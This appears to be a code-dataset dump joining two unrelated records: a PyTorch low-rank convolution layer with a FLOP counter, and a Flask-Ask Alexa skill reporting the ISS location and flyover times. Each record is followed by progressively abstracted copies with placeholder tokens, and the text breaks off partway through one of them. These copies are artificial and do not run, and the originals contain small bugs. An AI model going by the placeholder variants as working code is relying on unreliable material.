F.conv2d(input, torch.cat((self.conv_weights,self.correlated_weights), dim = 0),\ bias=self.bias, padding=self.padding, stride=self.stride) else: return F.conv2d(input, torch.cat((self.conv_weights,self.correlated_weights), dim = 0),\ padding=self.padding, stride=self.stride) #count FLOPs def count_op_xCNNlow(m, x, y): x = x[0] multiply_adds = 1 cin = m.channels cout = m.filters kh, kw = m.kernel_size, m.kernel_size batch_size = x.size()[0] out_h = y.size(2) out_w = y.size(3) # ops per output element # kernel_mul = kh * kw * cin # kernel_add = kh * kw * cin - 1 kernel_ops = multiply_adds * kh * kw bias_ops = 1 if m.biasTrue is True else 0 ops_per_element = kernel_ops + bias_ops # total ops # num_out_elements = y.numel() output_elements = batch_size * out_w * out_h * cout conv_ops = output_elements * ops_per_element * cin // m.groups # per output element total_mul_1 = m.filters//m.times total_add_1 = total_mul_1 - 1 num_elements_1 = m.rank * (cin * kh * kw) # (m.filters - m.filters//m.times) total_mul_2 = m.rank total_add_2 = total_mul_2 - 1 num_elements_2 = (m.filters - m.filters//m.times) * (cin * kh * kw) # (m.filters - m.filters//m.times) lin_ops = (total_mul_1 + total_add_1) * num_elements_1 + (total_mul_2 + total_add_2) * num_elements_2 total_ops = lin_ops + conv_ops print(lin_ops, conv_ops) m.total_ops = torch.Tensor([int(total_ops)])
[ "import torch\nimport torch.nn as nn\nimport torch.nn.functional as F\n\n# Const. low-rank version\nclass xCNNlow(torch.nn.Module):\n def __init__(self, channels, filters, kernel_size, padding=0, stride=1, groups=1, rank=1, bias=True):\n super(xCNNlow, self).__init__()\n self.filters = filters\n self.times = 2\n self.kernel_size = kernel_size\n self.channels = channels//groups\n self.padding = padding\n self.stride = stride\n self.biasTrue = bias\n self.rank = rank\n self.groups = groups\n\n self.conv_weights = nn.Parameter(torch.Tensor(filters//self.times, channels, kernel_size, kernel_size).to(device))\n self.column_weights = nn.Parameter(torch.Tensor(filters-filters//self.times, self.rank).to(device))\n self.row_weights = nn.Parameter(torch.Tensor(self.rank, filters//self.times).to(device))\n \n torch.nn.init.xavier_uniform(self.conv_weights)\n self.column_weights.data.uniform_(-0.1, 0.1)\n self.row_weights.data.uniform_(-0.1, 0.1)\n \n if self.biasTrue:\n self.bias = nn.Parameter(torch.Tensor(filters).to(device))\n self.bias.data.uniform_(-0.1, 0.1)\n\n def forward(self, input): \n self.correlated_weights = torch.mm(self.column_weights, torch.mm(self.row_weights,self.conv_weights.reshape(self.filters//self.times,-1)))\\\n .reshape(self.filters-self.filters//self.times, self.channels, self.kernel_size, self.kernel_size) \n if self.biasTrue:\n return F.conv2d(input, torch.cat((self.conv_weights,self.correlated_weights), dim = 0),\\\n bias=self.bias, padding=self.padding, stride=self.stride)\n else:\n return F.conv2d(input, torch.cat((self.conv_weights,self.correlated_weights), dim = 0),\\\n padding=self.padding, stride=self.stride)\n\n\n#count FLOPs\ndef count_op_xCNNlow(m, x, y):\n x = x[0]\n\n multiply_adds = 1\n\n cin = m.channels\n cout = m.filters\n kh, kw = m.kernel_size, m.kernel_size\n batch_size = x.size()[0]\n\n out_h = y.size(2)\n out_w = y.size(3)\n\n # ops per output element\n # kernel_mul = kh * kw * cin\n # kernel_add = kh * kw * cin - 1\n kernel_ops = multiply_adds * kh * kw\n bias_ops = 1 if m.biasTrue is True else 0\n ops_per_element = kernel_ops + bias_ops\n\n # total ops\n # num_out_elements = y.numel()\n output_elements = batch_size * out_w * out_h * cout\n conv_ops = output_elements * ops_per_element * cin // m.groups\n\n # per output element\n total_mul_1 = m.filters//m.times\n total_add_1 = total_mul_1 - 1\n num_elements_1 = m.rank * (cin * kh * kw) # (m.filters - m.filters//m.times)\n total_mul_2 = m.rank\n total_add_2 = total_mul_2 - 1\n num_elements_2 = (m.filters - m.filters//m.times) * (cin * kh * kw) # (m.filters - m.filters//m.times)\n lin_ops = (total_mul_1 + total_add_1) * num_elements_1 + (total_mul_2 + total_add_2) * num_elements_2\n total_ops = lin_ops + conv_ops\n print(lin_ops, conv_ops)\n\n m.total_ops = torch.Tensor([int(total_ops)])\n\n", "import torch\nimport torch.nn as nn\nimport torch.nn.functional as F\n\n\nclass xCNNlow(torch.nn.Module):\n\n def __init__(self, channels, filters, kernel_size, padding=0, stride=1,\n groups=1, rank=1, bias=True):\n super(xCNNlow, self).__init__()\n self.filters = filters\n self.times = 2\n self.kernel_size = kernel_size\n self.channels = channels // groups\n self.padding = padding\n self.stride = stride\n self.biasTrue = bias\n self.rank = rank\n self.groups = groups\n self.conv_weights = nn.Parameter(torch.Tensor(filters // self.times,\n channels, kernel_size, kernel_size).to(device))\n self.column_weights = nn.Parameter(torch.Tensor(filters - filters //\n self.times, self.rank).to(device))\n self.row_weights = nn.Parameter(torch.Tensor(self.rank, filters //\n self.times).to(device))\n torch.nn.init.xavier_uniform(self.conv_weights)\n self.column_weights.data.uniform_(-0.1, 0.1)\n self.row_weights.data.uniform_(-0.1, 0.1)\n if self.biasTrue:\n self.bias = nn.Parameter(torch.Tensor(filters).to(device))\n self.bias.data.uniform_(-0.1, 0.1)\n\n def forward(self, input):\n self.correlated_weights = torch.mm(self.column_weights, torch.mm(\n self.row_weights, self.conv_weights.reshape(self.filters //\n self.times, -1))).reshape(self.filters - self.filters // self.\n times, self.channels, self.kernel_size, self.kernel_size)\n if self.biasTrue:\n return F.conv2d(input, torch.cat((self.conv_weights, self.\n correlated_weights), dim=0), bias=self.bias, padding=self.\n padding, stride=self.stride)\n else:\n return F.conv2d(input, torch.cat((self.conv_weights, self.\n correlated_weights), dim=0), padding=self.padding, stride=\n self.stride)\n\n\ndef count_op_xCNNlow(m, x, y):\n x = x[0]\n multiply_adds = 1\n cin = m.channels\n cout = m.filters\n kh, kw = m.kernel_size, m.kernel_size\n batch_size = x.size()[0]\n out_h = y.size(2)\n out_w = y.size(3)\n kernel_ops = multiply_adds * kh * kw\n bias_ops = 1 if m.biasTrue is True else 0\n ops_per_element = kernel_ops + bias_ops\n output_elements = batch_size * out_w * out_h * cout\n conv_ops = output_elements * ops_per_element * cin // m.groups\n total_mul_1 = m.filters // m.times\n total_add_1 = total_mul_1 - 1\n num_elements_1 = m.rank * (cin * kh * kw)\n total_mul_2 = m.rank\n total_add_2 = total_mul_2 - 1\n num_elements_2 = (m.filters - m.filters // m.times) * (cin * kh * kw)\n lin_ops = (total_mul_1 + total_add_1) * num_elements_1 + (total_mul_2 +\n total_add_2) * num_elements_2\n total_ops = lin_ops + conv_ops\n print(lin_ops, conv_ops)\n m.total_ops = torch.Tensor([int(total_ops)])\n", "<import token>\n\n\nclass xCNNlow(torch.nn.Module):\n\n def __init__(self, channels, filters, kernel_size, padding=0, stride=1,\n groups=1, rank=1, bias=True):\n super(xCNNlow, self).__init__()\n self.filters = filters\n self.times = 2\n self.kernel_size = kernel_size\n self.channels = channels // groups\n self.padding = padding\n self.stride = stride\n self.biasTrue = bias\n self.rank = rank\n self.groups = groups\n self.conv_weights = nn.Parameter(torch.Tensor(filters // self.times,\n channels, kernel_size, kernel_size).to(device))\n self.column_weights = nn.Parameter(torch.Tensor(filters - filters //\n self.times, self.rank).to(device))\n self.row_weights = nn.Parameter(torch.Tensor(self.rank, filters //\n self.times).to(device))\n torch.nn.init.xavier_uniform(self.conv_weights)\n self.column_weights.data.uniform_(-0.1, 0.1)\n self.row_weights.data.uniform_(-0.1, 0.1)\n if self.biasTrue:\n self.bias = nn.Parameter(torch.Tensor(filters).to(device))\n self.bias.data.uniform_(-0.1, 0.1)\n\n def forward(self, input):\n self.correlated_weights = torch.mm(self.column_weights, torch.mm(\n self.row_weights, self.conv_weights.reshape(self.filters //\n self.times, -1))).reshape(self.filters - self.filters // self.\n times, self.channels, self.kernel_size, self.kernel_size)\n if self.biasTrue:\n return F.conv2d(input, torch.cat((self.conv_weights, self.\n correlated_weights), dim=0), bias=self.bias, padding=self.\n padding, stride=self.stride)\n else:\n return F.conv2d(input, torch.cat((self.conv_weights, self.\n correlated_weights), dim=0), padding=self.padding, stride=\n self.stride)\n\n\ndef count_op_xCNNlow(m, x, y):\n x = x[0]\n multiply_adds = 1\n cin = m.channels\n cout = m.filters\n kh, kw = m.kernel_size, m.kernel_size\n batch_size = x.size()[0]\n out_h = y.size(2)\n out_w = y.size(3)\n kernel_ops = multiply_adds * kh * kw\n bias_ops = 1 if m.biasTrue is True else 0\n ops_per_element = kernel_ops + bias_ops\n output_elements = batch_size * out_w * out_h * cout\n conv_ops = output_elements * ops_per_element * cin // m.groups\n total_mul_1 = m.filters // m.times\n total_add_1 = total_mul_1 - 1\n num_elements_1 = m.rank * (cin * kh * kw)\n total_mul_2 = m.rank\n total_add_2 = total_mul_2 - 1\n num_elements_2 = (m.filters - m.filters // m.times) * (cin * kh * kw)\n lin_ops = (total_mul_1 + total_add_1) * num_elements_1 + (total_mul_2 +\n total_add_2) * num_elements_2\n total_ops = lin_ops + conv_ops\n print(lin_ops, conv_ops)\n m.total_ops = torch.Tensor([int(total_ops)])\n", "<import token>\n\n\nclass xCNNlow(torch.nn.Module):\n\n def __init__(self, channels, filters, kernel_size, padding=0, stride=1,\n groups=1, rank=1, bias=True):\n super(xCNNlow, self).__init__()\n self.filters = filters\n self.times = 2\n self.kernel_size = kernel_size\n self.channels = channels // groups\n self.padding = padding\n self.stride = stride\n self.biasTrue = bias\n self.rank = rank\n self.groups = groups\n self.conv_weights = nn.Parameter(torch.Tensor(filters // self.times,\n channels, kernel_size, kernel_size).to(device))\n self.column_weights = nn.Parameter(torch.Tensor(filters - filters //\n self.times, self.rank).to(device))\n self.row_weights = nn.Parameter(torch.Tensor(self.rank, filters //\n self.times).to(device))\n torch.nn.init.xavier_uniform(self.conv_weights)\n self.column_weights.data.uniform_(-0.1, 0.1)\n self.row_weights.data.uniform_(-0.1, 0.1)\n if self.biasTrue:\n self.bias = nn.Parameter(torch.Tensor(filters).to(device))\n self.bias.data.uniform_(-0.1, 0.1)\n\n def forward(self, input):\n self.correlated_weights = torch.mm(self.column_weights, torch.mm(\n self.row_weights, self.conv_weights.reshape(self.filters //\n self.times, -1))).reshape(self.filters - self.filters // self.\n times, self.channels, self.kernel_size, self.kernel_size)\n if self.biasTrue:\n return F.conv2d(input, torch.cat((self.conv_weights, self.\n correlated_weights), dim=0), bias=self.bias, padding=self.\n padding, stride=self.stride)\n else:\n return F.conv2d(input, torch.cat((self.conv_weights, self.\n correlated_weights), dim=0), padding=self.padding, stride=\n self.stride)\n\n\n<function token>\n", "<import token>\n\n\nclass xCNNlow(torch.nn.Module):\n <function token>\n\n def forward(self, input):\n self.correlated_weights = torch.mm(self.column_weights, torch.mm(\n self.row_weights, self.conv_weights.reshape(self.filters //\n self.times, -1))).reshape(self.filters - self.filters // self.\n times, self.channels, self.kernel_size, self.kernel_size)\n if self.biasTrue:\n return F.conv2d(input, torch.cat((self.conv_weights, self.\n correlated_weights), dim=0), bias=self.bias, padding=self.\n padding, stride=self.stride)\n else:\n return F.conv2d(input, torch.cat((self.conv_weights, self.\n correlated_weights), dim=0), padding=self.padding, stride=\n self.stride)\n\n\n<function token>\n", "<import token>\n\n\nclass xCNNlow(torch.nn.Module):\n <function token>\n <function token>\n\n\n<function token>\n", "<import token>\n<class token>\n<function token>\n" ]
false
426
726f133bcf592315c42f8701be8308422ffbf0d9
from flask import Flask, render_template from flask_ask import Ask, statement, question, session import reverse_geocoder as rg from geopy import distance from geopy.geocoders import Nominatim import requests import time ''' :::::::: ::::::::: ::: :::::::: :::::::::: ::: ::: ::: ::: ::: ::: ::: :+: :+: :+: :+: :+: :+: :+: :+: :+: :+: :+: :+: :+: :+: :+: :+: :+: +:+ +:+ +:+ +:+ +:+ +:+ +:+ +:+ +:+ +:+ +:+ +:+ +:+ +:+ +:+ +#++:++#++ +#++:++#+ +#++:++#++: +#+ +#++:++# +#+ +:+ +#+ +#++:++#++: +#+ +#++:++ +#+ +#+ +#+ +#+ +#+ +#+ +#+ +#+ +#+#+ +#+ +#+ +#+ +#+ +#+ +#+ +#+ #+# #+# #+# #+# #+# #+# #+# #+# #+#+# #+#+# #+# #+# #+# #+# #+# ######## ### ### ### ######## ########## ### ### ### ### ########## ### ### ### ''' app = Flask(__name__) ask = Ask(app, "/space_walk") def find_ordinals(city, iss): ''' Take tuple coordinates (lat, lon) for City and ISS and find the cardinal direction of NE, SE, SW, NW ''' if iss[0] - city[0] > 0: a = 'North' else: a = 'South' if iss[1] - city[1] > 0: b = 'East' else: b = 'West' return ''.join([a, b]) def where_is_the_iss_now(): iss_now_website = 'http://api.open-notify.org/iss-now.json' webby = requests.get(iss_now_website) data = webby.json() if data['iss_position']: longitude = data['iss_position'].get('longitude') latitude = data['iss_position'].get('latitude') results = rg.search((latitude, longitude), mode=1) lat, lon, name, admin1, admin2, cc = results[0].values() ordinal = find_ordinals(city=(float(lat), float(lon)), iss=(float(latitude), float(longitude))) country_cc = requests.get( 'https://pkgstore.datahub.io/core/country-list/data_json/data/8c458f2d15d9f2119654b29ede6e45b8/data_json.json') country_cc = country_cc.json() iss_coordinates = (latitude, longitude) k_nearest_coordinates = (lat, lon) distance_miles = distance.distance(k_nearest_coordinates, iss_coordinates).miles country_name = '' for i in filter(lambda d: d.get('Code') == cc, country_cc): country_name = i.get('Name') location_text = ', '.join([name, admin1, country_name]) if distance_miles > 150: answer = 'The International Space Station is {} miles {} off the coast of {}'.format(int(distance_miles), ordinal, location_text) else: answer = 'the International Space Station is {} miles {} near {}'.format(int(distance_miles),ordinal, location_text) return answer, latitude, longitude, distance_miles, ordinal, name, admin1, country_name @app.route('/') def homepage(): return '' @ask.launch def start_skill(): # welcome_message = 'Welcome to the Fleet Feet Journal! What is your name?' welcome_message_reprompt = render_template('welcome_message_reprompt') welcome_message = render_template('welcome_message') return (question(welcome_message).reprompt(welcome_message_reprompt)) @ask.intent('YourLocation') def pass_over(my_location): geolocator = Nominatim(user_agent='my-application') print(my_location) location = geolocator.geocode(my_location,language='en-US') try: city = location.address.split(',')[0] state = location.address.split(',')[2] country = location.address.split(',')[-1] location_name = ', '.join([city, state, country]) except IndexError: location_name = location.address.split(',')[-1] fly_over = requests.get( 'http://api.open-notify.org/iss-pass.json?lat={}&lon={}'.format(location.latitude, location.longitude)) fly_over = fly_over.json() if fly_over['message'] == 'success': rise = fly_over['response'][0] answer = time.strftime('%A, %B %d, %Y at %I:%M %p GMT', time.localtime(rise.get('risetime'))) a = rise.get('risetime') # last epoch recorded b = time.time() # current epoch time c = a - b # returns seconds hours = c // 3600 % 24 minutes = c // 60 % 60 minutes = int(minutes) hours = int(hours) if minutes == 1: minorminutes = 'minute' else: minorminutes = 'minutes' if hours == 1: hour_or_hours = 'hour' else: hour_or_hours = 'hours' if hours == 0: time_til_rise = "{} {}".format(minutes, minorminutes) else: time_til_rise = "{} {} and {} {}".format(hours, hour_or_hours, minutes, minorminutes) else: answer = "failure" return statement('the next flyover for {} will begin in {} on {}'.format(location_name, time_til_rise, answer)) @ask.intent('WhereISS') def share_location(): iss_location, latitude, longitude, distance_miles, ordinal, name, admin1, country_name= where_is_the_iss_now() latitude, longitude, distance_miles = float(latitude), float(longitude), float(distance_miles) return statement(iss_location).standard_card( title="Location of the International Space Station", text='Latitude {} and Longitude {},\n {} miles {} of {}, {} in {}'.format(round(latitude,2), round(longitude,2), round(distance_miles,0), ordinal, name, admin1, country_name)) @ask.intent('AMAZON.FallbackIntent') def fallback(): to_continue = render_template('to_continue') return question('Sorry, I am not sure what you asked me...{}'.format(to_continue)) @ask.intent('AMAZON.NavigateHomeIntent') def go_home(): return question('et - phone home') @ask.intent('AMAZON.HelpIntent') def help_me(): help_me_text = render_template('help') return question(help_me_text) @ask.intent('Credits') def speak_credits(): credits_ = render_template('credits') return statement(credits_) @ask.intent('AMAZON.StopIntent') def stop(): bye_text = render_template('bye') return statement(bye_text) @ask.intent('AMAZON.CancelIntent') def cancel(): bye_text = render_template('bye') return statement(bye_text) @ask.session_ended def session_ended(): return "{}", 200 if __name__ == '__main__': app.run(debug=True)
[ "\nfrom flask import Flask, render_template\nfrom flask_ask import Ask, statement, question, session\nimport reverse_geocoder as rg\nfrom geopy import distance\nfrom geopy.geocoders import Nominatim\nimport requests\nimport time\n\n\n'''\n :::::::: ::::::::: ::: :::::::: :::::::::: ::: ::: ::: ::: ::: ::: ::: \n:+: :+: :+: :+: :+: :+: :+: :+: :+: :+: :+: :+: :+: :+: :+: :+: :+: \n+:+ +:+ +:+ +:+ +:+ +:+ +:+ +:+ +:+ +:+ +:+ +:+ +:+ +:+ +:+ \n+#++:++#++ +#++:++#+ +#++:++#++: +#+ +#++:++# +#+ +:+ +#+ +#++:++#++: +#+ +#++:++ +#+ \n +#+ +#+ +#+ +#+ +#+ +#+ +#+ +#+#+ +#+ +#+ +#+ +#+ +#+ +#+ +#+ \n#+# #+# #+# #+# #+# #+# #+# #+# #+#+# #+#+# #+# #+# #+# #+# #+# \n ######## ### ### ### ######## ########## ### ### ### ### ########## ### ### ### \n'''\n\n\napp = Flask(__name__)\n\nask = Ask(app, \"/space_walk\")\n\n\ndef find_ordinals(city, iss):\n ''' \n Take tuple coordinates (lat, lon) for City and ISS and\n find the cardinal direction of NE, SE, SW, NW\n '''\n\n if iss[0] - city[0] > 0:\n a = 'North'\n else:\n a = 'South'\n\n if iss[1] - city[1] > 0:\n b = 'East'\n else:\n b = 'West'\n return ''.join([a, b])\n\n\ndef where_is_the_iss_now():\n iss_now_website = 'http://api.open-notify.org/iss-now.json'\n webby = requests.get(iss_now_website)\n data = webby.json()\n\n if data['iss_position']:\n longitude = data['iss_position'].get('longitude')\n latitude = data['iss_position'].get('latitude')\n\n results = rg.search((latitude, longitude), mode=1)\n\n lat, lon, name, admin1, admin2, cc = results[0].values()\n\n ordinal = find_ordinals(city=(float(lat), float(lon)), iss=(float(latitude), float(longitude)))\n\n country_cc = requests.get(\n 'https://pkgstore.datahub.io/core/country-list/data_json/data/8c458f2d15d9f2119654b29ede6e45b8/data_json.json')\n country_cc = country_cc.json()\n\n iss_coordinates = (latitude, longitude)\n k_nearest_coordinates = (lat, lon)\n distance_miles = distance.distance(k_nearest_coordinates, iss_coordinates).miles\n\n country_name = ''\n for i in filter(lambda d: d.get('Code') == cc, country_cc):\n country_name = i.get('Name')\n\n location_text = ', '.join([name, admin1, country_name])\n\n if distance_miles > 150:\n answer = 'The International Space Station is {} miles {} off the coast of {}'.format(int(distance_miles), ordinal,\n location_text)\n else:\n answer = 'the International Space Station is {} miles {} near {}'.format(int(distance_miles),ordinal, location_text)\n return answer, latitude, longitude, distance_miles, ordinal, name, admin1, country_name\n\n\[email protected]('/')\ndef homepage():\n return ''\n\n\[email protected]\ndef start_skill():\n # welcome_message = 'Welcome to the Fleet Feet Journal! What is your name?'\n\n welcome_message_reprompt = render_template('welcome_message_reprompt')\n welcome_message = render_template('welcome_message')\n return (question(welcome_message).reprompt(welcome_message_reprompt))\n\n\[email protected]('YourLocation')\ndef pass_over(my_location):\n\n geolocator = Nominatim(user_agent='my-application')\n print(my_location)\n location = geolocator.geocode(my_location,language='en-US')\n try:\n city = location.address.split(',')[0]\n state = location.address.split(',')[2]\n country = location.address.split(',')[-1]\n location_name = ', '.join([city, state, country])\n except IndexError:\n location_name = location.address.split(',')[-1]\n\n fly_over = requests.get(\n 'http://api.open-notify.org/iss-pass.json?lat={}&lon={}'.format(location.latitude, location.longitude))\n fly_over = fly_over.json()\n\n if fly_over['message'] == 'success':\n rise = fly_over['response'][0]\n answer = time.strftime('%A, %B %d, %Y at %I:%M %p GMT', time.localtime(rise.get('risetime')))\n a = rise.get('risetime') # last epoch recorded\n b = time.time() # current epoch time\n c = a - b # returns seconds\n hours = c // 3600 % 24\n minutes = c // 60 % 60\n minutes = int(minutes)\n hours = int(hours)\n\n if minutes == 1:\n minorminutes = 'minute'\n else: minorminutes = 'minutes'\n\n if hours == 1:\n hour_or_hours = 'hour'\n else: hour_or_hours = 'hours'\n\n if hours == 0:\n time_til_rise = \"{} {}\".format(minutes, minorminutes)\n else: time_til_rise = \"{} {} and {} {}\".format(hours, hour_or_hours, minutes, minorminutes)\n\n else:\n answer = \"failure\"\n return statement('the next flyover for {} will begin in {} on {}'.format(location_name, time_til_rise, answer))\n\n\[email protected]('WhereISS')\ndef share_location():\n\n iss_location, latitude, longitude, distance_miles, ordinal, name, admin1, country_name= where_is_the_iss_now()\n latitude, longitude, distance_miles = float(latitude), float(longitude), float(distance_miles)\n return statement(iss_location).standard_card(\n title=\"Location of the International Space Station\",\n text='Latitude {} and Longitude {},\\n {} miles {} of {}, {} in {}'.format(round(latitude,2), round(longitude,2), round(distance_miles,0), ordinal, name, admin1, country_name))\n\n\[email protected]('AMAZON.FallbackIntent')\ndef fallback():\n to_continue = render_template('to_continue')\n return question('Sorry, I am not sure what you asked me...{}'.format(to_continue))\n\n\[email protected]('AMAZON.NavigateHomeIntent')\ndef go_home():\n return question('et - phone home')\n\n\[email protected]('AMAZON.HelpIntent')\ndef help_me():\n help_me_text = render_template('help')\n return question(help_me_text)\n\n\[email protected]('Credits')\ndef speak_credits():\n credits_ = render_template('credits')\n return statement(credits_)\n\n\[email protected]('AMAZON.StopIntent')\ndef stop():\n bye_text = render_template('bye')\n return statement(bye_text)\n\n\[email protected]('AMAZON.CancelIntent')\ndef cancel():\n bye_text = render_template('bye')\n return statement(bye_text)\n\n\[email protected]_ended\ndef session_ended():\n return \"{}\", 200\n\n\nif __name__ == '__main__':\n app.run(debug=True)\n\n\n\n\n\n", "from flask import Flask, render_template\nfrom flask_ask import Ask, statement, question, session\nimport reverse_geocoder as rg\nfrom geopy import distance\nfrom geopy.geocoders import Nominatim\nimport requests\nimport time\n<docstring token>\napp = Flask(__name__)\nask = Ask(app, '/space_walk')\n\n\ndef find_ordinals(city, iss):\n \"\"\" \n Take tuple coordinates (lat, lon) for City and ISS and\n find the cardinal direction of NE, SE, SW, NW\n \"\"\"\n if iss[0] - city[0] > 0:\n a = 'North'\n else:\n a = 'South'\n if iss[1] - city[1] > 0:\n b = 'East'\n else:\n b = 'West'\n return ''.join([a, b])\n\n\ndef where_is_the_iss_now():\n iss_now_website = 'http://api.open-notify.org/iss-now.json'\n webby = requests.get(iss_now_website)\n data = webby.json()\n if data['iss_position']:\n longitude = data['iss_position'].get('longitude')\n latitude = data['iss_position'].get('latitude')\n results = rg.search((latitude, longitude), mode=1)\n lat, lon, name, admin1, admin2, cc = results[0].values()\n ordinal = find_ordinals(city=(float(lat), float(lon)), iss=(float(\n latitude), float(longitude)))\n country_cc = requests.get(\n 'https://pkgstore.datahub.io/core/country-list/data_json/data/8c458f2d15d9f2119654b29ede6e45b8/data_json.json'\n )\n country_cc = country_cc.json()\n iss_coordinates = latitude, longitude\n k_nearest_coordinates = lat, lon\n distance_miles = distance.distance(k_nearest_coordinates, iss_coordinates\n ).miles\n country_name = ''\n for i in filter(lambda d: d.get('Code') == cc, country_cc):\n country_name = i.get('Name')\n location_text = ', '.join([name, admin1, country_name])\n if distance_miles > 150:\n answer = (\n 'The International Space Station is {} miles {} off the coast of {}'\n .format(int(distance_miles), ordinal, location_text))\n else:\n answer = ('the International Space Station is {} miles {} near {}'.\n format(int(distance_miles), ordinal, location_text))\n return (answer, latitude, longitude, distance_miles, ordinal, name,\n admin1, country_name)\n\n\[email protected]('/')\ndef homepage():\n return ''\n\n\[email protected]\ndef start_skill():\n welcome_message_reprompt = render_template('welcome_message_reprompt')\n welcome_message = render_template('welcome_message')\n return question(welcome_message).reprompt(welcome_message_reprompt)\n\n\[email protected]('YourLocation')\ndef pass_over(my_location):\n geolocator = Nominatim(user_agent='my-application')\n print(my_location)\n location = geolocator.geocode(my_location, language='en-US')\n try:\n city = location.address.split(',')[0]\n state = location.address.split(',')[2]\n country = location.address.split(',')[-1]\n location_name = ', '.join([city, state, country])\n except IndexError:\n location_name = location.address.split(',')[-1]\n fly_over = requests.get(\n 'http://api.open-notify.org/iss-pass.json?lat={}&lon={}'.format(\n location.latitude, location.longitude))\n fly_over = fly_over.json()\n if fly_over['message'] == 'success':\n rise = fly_over['response'][0]\n answer = time.strftime('%A, %B %d, %Y at %I:%M %p GMT', time.\n localtime(rise.get('risetime')))\n a = rise.get('risetime')\n b = time.time()\n c = a - b\n hours = c // 3600 % 24\n minutes = c // 60 % 60\n minutes = int(minutes)\n hours = int(hours)\n if minutes == 1:\n minorminutes = 'minute'\n else:\n minorminutes = 'minutes'\n if hours == 1:\n hour_or_hours = 'hour'\n else:\n hour_or_hours = 'hours'\n if hours == 0:\n time_til_rise = '{} {}'.format(minutes, minorminutes)\n else:\n time_til_rise = '{} {} and {} {}'.format(hours, hour_or_hours,\n minutes, minorminutes)\n else:\n answer = 'failure'\n return statement('the next flyover for {} will begin in {} on {}'.\n format(location_name, time_til_rise, answer))\n\n\[email protected]('WhereISS')\ndef share_location():\n (iss_location, latitude, longitude, distance_miles, ordinal, name,\n admin1, country_name) = where_is_the_iss_now()\n latitude, longitude, distance_miles = float(latitude), float(longitude\n ), float(distance_miles)\n return statement(iss_location).standard_card(title=\n 'Location of the International Space Station', text=\n \"\"\"Latitude {} and Longitude {},\n {} miles {} of {}, {} in {}\"\"\".\n format(round(latitude, 2), round(longitude, 2), round(\n distance_miles, 0), ordinal, name, admin1, country_name))\n\n\[email protected]('AMAZON.FallbackIntent')\ndef fallback():\n to_continue = render_template('to_continue')\n return question('Sorry, I am not sure what you asked me...{}'.format(\n to_continue))\n\n\[email protected]('AMAZON.NavigateHomeIntent')\ndef go_home():\n return question('et - phone home')\n\n\[email protected]('AMAZON.HelpIntent')\ndef help_me():\n help_me_text = render_template('help')\n return question(help_me_text)\n\n\[email protected]('Credits')\ndef speak_credits():\n credits_ = render_template('credits')\n return statement(credits_)\n\n\[email protected]('AMAZON.StopIntent')\ndef stop():\n bye_text = render_template('bye')\n return statement(bye_text)\n\n\[email protected]('AMAZON.CancelIntent')\ndef cancel():\n bye_text = render_template('bye')\n return statement(bye_text)\n\n\[email protected]_ended\ndef session_ended():\n return '{}', 200\n\n\nif __name__ == '__main__':\n app.run(debug=True)\n", "<import token>\n<docstring token>\napp = Flask(__name__)\nask = Ask(app, '/space_walk')\n\n\ndef find_ordinals(city, iss):\n \"\"\" \n Take tuple coordinates (lat, lon) for City and ISS and\n find the cardinal direction of NE, SE, SW, NW\n \"\"\"\n if iss[0] - city[0] > 0:\n a = 'North'\n else:\n a = 'South'\n if iss[1] - city[1] > 0:\n b = 'East'\n else:\n b = 'West'\n return ''.join([a, b])\n\n\ndef where_is_the_iss_now():\n iss_now_website = 'http://api.open-notify.org/iss-now.json'\n webby = requests.get(iss_now_website)\n data = webby.json()\n if data['iss_position']:\n longitude = data['iss_position'].get('longitude')\n latitude = data['iss_position'].get('latitude')\n results = rg.search((latitude, longitude), mode=1)\n lat, lon, name, admin1, admin2, cc = results[0].values()\n ordinal = find_ordinals(city=(float(lat), float(lon)), iss=(float(\n latitude), float(longitude)))\n country_cc = requests.get(\n 'https://pkgstore.datahub.io/core/country-list/data_json/data/8c458f2d15d9f2119654b29ede6e45b8/data_json.json'\n )\n country_cc = country_cc.json()\n iss_coordinates = latitude, longitude\n k_nearest_coordinates = lat, lon\n distance_miles = distance.distance(k_nearest_coordinates, iss_coordinates\n ).miles\n country_name = ''\n for i in filter(lambda d: d.get('Code') == cc, country_cc):\n country_name = i.get('Name')\n location_text = ', '.join([name, admin1, country_name])\n if distance_miles > 150:\n answer = (\n 'The International Space Station is {} miles {} off the coast of {}'\n .format(int(distance_miles), ordinal, location_text))\n else:\n answer = ('the International Space Station is {} miles {} near {}'.\n format(int(distance_miles), ordinal, location_text))\n return (answer, latitude, longitude, distance_miles, ordinal, name,\n admin1, country_name)\n\n\[email protected]('/')\ndef homepage():\n return ''\n\n\[email protected]\ndef start_skill():\n welcome_message_reprompt = render_template('welcome_message_reprompt')\n welcome_message = render_template('welcome_message')\n return question(welcome_message).reprompt(welcome_message_reprompt)\n\n\[email protected]('YourLocation')\ndef pass_over(my_location):\n geolocator = Nominatim(user_agent='my-application')\n print(my_location)\n location = geolocator.geocode(my_location, language='en-US')\n try:\n city = location.address.split(',')[0]\n state = location.address.split(',')[2]\n country = location.address.split(',')[-1]\n location_name = ', '.join([city, state, country])\n except IndexError:\n location_name = location.address.split(',')[-1]\n fly_over = requests.get(\n 'http://api.open-notify.org/iss-pass.json?lat={}&lon={}'.format(\n location.latitude, location.longitude))\n fly_over = fly_over.json()\n if fly_over['message'] == 'success':\n rise = fly_over['response'][0]\n answer = time.strftime('%A, %B %d, %Y at %I:%M %p GMT', time.\n localtime(rise.get('risetime')))\n a = rise.get('risetime')\n b = time.time()\n c = a - b\n hours = c // 3600 % 24\n minutes = c // 60 % 60\n minutes = int(minutes)\n hours = int(hours)\n if minutes == 1:\n minorminutes = 'minute'\n else:\n minorminutes = 'minutes'\n if hours == 1:\n hour_or_hours = 'hour'\n else:\n hour_or_hours = 'hours'\n if hours == 0:\n time_til_rise = '{} {}'.format(minutes, minorminutes)\n else:\n time_til_rise = '{} {} and {} {}'.format(hours, hour_or_hours,\n minutes, minorminutes)\n else:\n answer = 'failure'\n return statement('the next flyover for {} will begin in {} on {}'.\n format(location_name, time_til_rise, answer))\n\n\[email protected]('WhereISS')\ndef share_location():\n (iss_location, latitude, longitude, distance_miles, ordinal, name,\n admin1, country_name) = where_is_the_iss_now()\n latitude, longitude, distance_miles = float(latitude), float(longitude\n ), float(distance_miles)\n return statement(iss_location).standard_card(title=\n 'Location of the International Space Station', text=\n \"\"\"Latitude {} and Longitude {},\n {} miles {} of {}, {} in {}\"\"\".\n format(round(latitude, 2), round(longitude, 2), round(\n distance_miles, 0), ordinal, name, admin1, country_name))\n\n\[email protected]('AMAZON.FallbackIntent')\ndef fallback():\n to_continue = 